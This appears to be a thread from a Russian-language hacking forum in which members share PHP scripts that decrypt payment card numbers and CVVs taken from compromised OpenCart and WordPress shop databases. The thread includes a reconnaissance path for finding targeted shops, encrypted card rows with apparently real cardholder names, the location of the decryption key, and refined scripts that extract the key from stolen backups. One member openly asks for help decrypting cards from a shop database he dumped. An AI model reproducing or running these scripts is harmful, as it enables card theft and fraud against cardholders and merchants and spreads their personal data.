• XSS.stack #1 – первый литературный журнал от юзеров форума

Видео Decrypt CC stored in OpenCart

FantasticExploits

(L3) cache
Модератор
Регистрация
15.10.2023
Сообщения
263
Реакции
296
Гарант сделки
2
Доброе утро! Попалась интересная форма оплаты, terminal_cc. Фишка этой формы в том, что данные карт хранятся непосредственно в бд магазина. Разумеется я не смог просто пройти мимо и написал декриптор, которым с удовольствием делюсь с форумом. И так по порядку:
Как искать:
Код:
/catalog/controller/extension/payment/terminal_cc.php
- в ответ пустая страница.

Примеры зашифрованных карт:
Код:
 ('2853', '9052', 'Brandy Polanco', '02/27', 'M3N5bG42NjNveEtIMGRTTmg2WFVGQT09', 'PC2pSCcxwl1FaOeG', 'MdLmvyIp0RACuklLxNOFWw==', 'NUtVMQ==', 'nLKetXb9akOkXo04', '4GnLDgUbZGOvn/Km4A78nw==', '', '', '', '0');
 ('2854', '9053', 'Christine Glavey', '06/29', 'V1cvT0JsVkszZ2tIVjhscFRPWlc=', 'WipEov+Zsz7xNlJX', 'BzQ34HJTutcksd26ya1JWQ==', 'aE5HRmZ3PT0=', 'YDrJuFxhTtcWpTGu', 'gYJgvC6HQMT3AdJ07LRawA==', '', '', '', '0');
 ('2855', '9054', 'Christine P. Glavey ', '04/29', 'TXFoeVJsSytLc0dlUmJHd0JodExFQT09', 'TXv8M8M2Mt0SK49B', 'UhscnxjrBt9K2XN1iRwXBA==', 'M2FaYw==', 'IRMytspwRZQNexqz', 'wtNDDh6DdtX/jZ/qSfCrqQ==', '', '', '', '0');
 ('2856', '9055', 'Antoinette Fett', '03/28', 'b2xVNjJWWDdLemdwR0ZSMFJSSzRSQT09', '8H7s54g34LIC7T8y', 'Pql/RDNFPWAxM9fyHqPdjQ==', 'SzNzcQ==', 'WhBdJC8cluJLQIU7', 'kPnBhPVTYy96sE8Fo7FCbA==', '', '', '', '0');
 ('2857', '9056', 'Nicole L Campbell', '12/28', 'ODZYaDZWNHNGQmNOc0ZoVWhBMlZuQT09', 'IvopCkM3dafAj0T0', 'gix+aYm9aw8kNGKG3CCW0w==', 'OW5iQg==', '2ynV/PuPp6M7doQ7', 'asbLreY9lE6zItIkBVp3VA==', '', '', '', '0');

Код декриптора:

Код:
<?php


/** (`id`, `order_id`, `cc_name`, `cc_expirationdate`, `e_cc_cardnumber`, `e_cc_cardnumber_iv`, `e_cc_cardnumber_tag`, `e_cc_securitycode`, `e_cc_securitycode_iv`, `e_cc_securitycode_tag`, `e_cc_passport`, `e_cc_passport_iv`, `e_cc_passport_tag`, `removed`)  **/

function decrpt($c,$i,$t){
$cipher = "aes-128-gcm";
$secret_key    = '';
$key = hash('sha256', $secret_key);    
$text = openssl_decrypt(base64_decode($c), $cipher, $key, 0, base64_decode($i), base64_decode($t));
return $text;
}


 $f_cc = file('CARDS.sql');
 foreach($f_cc as $st){
 $data = explode(',', $st);
 if(isset($data[3])){
 $holder =  $data[2];
 $date = $data[3];
 $num = decrpt($data[4],$data[5],$data[6]);
 $cvv = decrpt($data[7],$data[8],$data[9]);
 print $holder.':'.$num.':'.$date.':'.$cvv. PHP_EOL;
//die();
}
}

Ключ хранится в БД:

Код:
INSERT INTO `oc_setting` (`setting_id`, `store_id`, `code`, `key`, `value`, `serialized`) VALUES ('33598', '0', 'payment_terminal_cc', 'payment_terminal_cc_encryption', '64e074e3b11c9e9fbb8afd10f3be49ca', '0');

Видео:
 
respect, how about adding this
PHP:
<?php
    # read backup content
    $backup = file_get_contents("path/to/backup.sql");
   
    # grap hash using regex
    preg_match("/'payment_terminal_cc_encryption', '(.*?)'/", $backup, $s);

    function decrpt($s,$c,$i,$t){
        $cipher = "aes-128-gcm";
        $secret_key = $s[1];
        $key = hash('sha256', $secret_key);  
        $text = openssl_decrypt(base64_decode($c), $cipher, $key, 0, base64_decode($i), base64_decode($t));
        return $text;
    }

    $f_cc = file('CARDS.sql');
    foreach($f_cc as $st){
         $data = explode(',', $st);
         if(isset($data[3])) {
             $holder =  $data[2];
             $date = $data[3];
             $num = decrpt($data[4],$data[5],$data[6]);
             $cvv = decrpt($data[7],$data[8],$data[9]);
             print $holder.':'.$num.':'.$date.':'.$cvv. PHP_EOL;
            //die();
        }
    }
   

?>

note : i didn't try it yet
 
Последнее редактирование:
respect, how about adding this
respect, how about adding this
PHP:
<?php
    # read backup content
    $backup = file_get_contents("path/to/backup.sql");
 
    # grap hash using regex
    preg_match("/'payment_terminal_cc_encryption', '(.*?)'/", $backup, $s);

    function decrpt($s,$c,$i,$t){
        $cipher = "aes-128-gcm";
        $secret_key = $s[1];
        $key = hash('sha256', $secret_key);
        $text = openssl_decrypt(base64_decode($c), $cipher, $key, 0, base64_decode($i), base64_decode($t));
        return $text;
    }

    $f_cc = file('CARDS.sql');
    foreach($f_cc as $st){
         $data = explode(',', $st);
         if(isset($data[3])) {
             $holder =  $data[2];
             $date = $data[3];
             $num = decrpt($data[4],$data[5],$data[6]);
             $cvv = decrpt($data[7],$data[8],$data[9]);
             print $holder.':'.$num.':'.$date.':'.$cvv. PHP_EOL;
            //die();
        }
    }
 

?>

note : i didn't try it yet
Код:
[CODE=php]<?php
    # read backup content
    $full_backup_with_key = file_get_contents("path/to/backup.sql");
    $table_with_ecrypted_cards = file_get_contents("path/to/cards.sql");
    # grap hash using regex
    preg_match("/'payment_terminal_cc_encryption', '(.*?)'/", $full_backup_with_key, $s);

    function decrpt($s,$c,$i,$t){
        $cipher = "aes-128-gcm";
        $secret_key = $s[1];;
        $key = hash('sha256', $secret_key);
        $text = openssl_decrypt(base64_decode($c), $cipher, $key, 0, base64_decode($i), base64_decode($t));
        return $text;
    }

    $f_cc = file($table_with_ecrypted_cards);
    foreach($f_cc as $st){
         $data = explode(',', $st);
         if(isset($data[3])) {
             $holder =  $data[2];
             $date = $data[3];
             $num = decrpt($data[4],$data[5],$data[6]);
             $cvv = decrpt($data[7],$data[8],$data[9]);
             print $holder.':'.$num.':'.$date.':'.$cvv. PHP_EOL;
            //die();
        }
    }
 

?>
Like this, but it'll take a lot of memory to read 'full_backup_with_key'. Also, 'full_backup_with_key' can be encoded in json, and all data can be taken from it.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
FantasticExploits здравствуйте спасибо, что поделились с нами этим кодом.

У меня к вам вопрос, мне попался магазин и я выгрузил оттуда БД но у нее чуть иное шифрование, выглядит все это так:

Код:
('8745', 'MasterCard', 'Monica Gray', 'w1gXaEK4iILA6fMv-9UtZEQrUH57vWoy8_QqxIK0e-o,', '3/2027', '219', '', '');

А сам ключ на расшифровку:

Код:
('133839', '0', 'offline_cc', 'offline_cc_encryption', '&1#ff61f$0^15ad', '0');

Как победить это зло? Может подскажете? Спасибо!!!
 
как-то тоже прошлось расшифровывать. Код не мой. Может кому пригодится.

Код:
<?php

$MYSQL_HOST = 'localhost';
$MYSQL_USER = 'root';
$MYSQL_PASS = '';
$MYSQL_DB = 'decode_ex';
$MYSQL_TABLE = 'wp__data';

function decrypt($string) {
    return openssl_decrypt(base64_decode($string), "AES-256-CBC", hash('sha256', 'secret'), true);
}

try {
    $conn = new PDO("mysql:host={$MYSQL_HOST};dbname={$MYSQL_DB}", $MYSQL_USER, $MYSQL_PASS);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
} catch (PDOException $e) {
    print "Error!: " . $e->getMessage() . "<br/>";
    die();
}

$data = $conn->prepare("SELECT * FROM {$MYSQL_TABLE};");
$data->execute();

$data_result = $data->setFetchMode(PDO::FETCH_ASSOC);

$fields = array('payment_method', 'ccnum', 'cardtype',  'expmonth',  'expyear',  'cvv');

foreach(new RecursiveArrayIterator($data->fetchAll()) as $k=>$v) {
    $new_data = array();
    
    foreach($fields as $field) {
        $dec = '';
        if ($v[$field]) {
            $dec = decrypt($v[$field]);
        }
        $new_data[$field] = $dec;
    }
    
    $update_data = $conn->prepare("
        UPDATE {$MYSQL_TABLE}
        SET
            payment_method = :payment_method,
            ccnum = :ccnum,
            cardtype = :cardtype,
            expmonth = :expmonth,
            expyear = :expyear,
            cvv = :cvv
        WHERE
            id = :id
        ;
        ");
        
    $update_data->bindParam(':id', $v['id']);
    $update_data->bindParam(':payment_method', $new_data['payment_method']);
    $update_data->bindParam(':ccnum', $new_data['ccnum']);
    $update_data->bindParam(':cardtype', $new_data['cardtype']);
    $update_data->bindParam(':expmonth', $new_data['expmonth']);
    $update_data->bindParam(':expyear', $new_data['expyear']);
    $update_data->bindParam(':cvv', $new_data['cvv']);
    $update_data->execute();
    
    print_r($new_data);
}

echo 'DONE', "\n";
 
FantasticExploits здравствуйте спасибо, что поделились с нами этим кодом.

У меня к вам вопрос, мне попался магазин и я выгрузил оттуда БД но у нее чуть иное шифрование, выглядит все это так:

Код:
('8745', 'MasterCard', 'Monica Gray', 'w1gXaEK4iILA6fMv-9UtZEQrUH57vWoy8_QqxIK0e-o,', '3/2027', '219', '', '');

А сам ключ на расшифровку:

Код:
('133839', '0', 'offline_cc', 'offline_cc_encryption', '&1#ff61f$0^15ad', '0');

Как победить это зло? Может подскажете? Спасибо!!!
Только сейчас заметил сообщение, нужно искать как конкретно зашифровывали. Погуглил offline_cc, не нашел. Могу посомотреть на примере.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх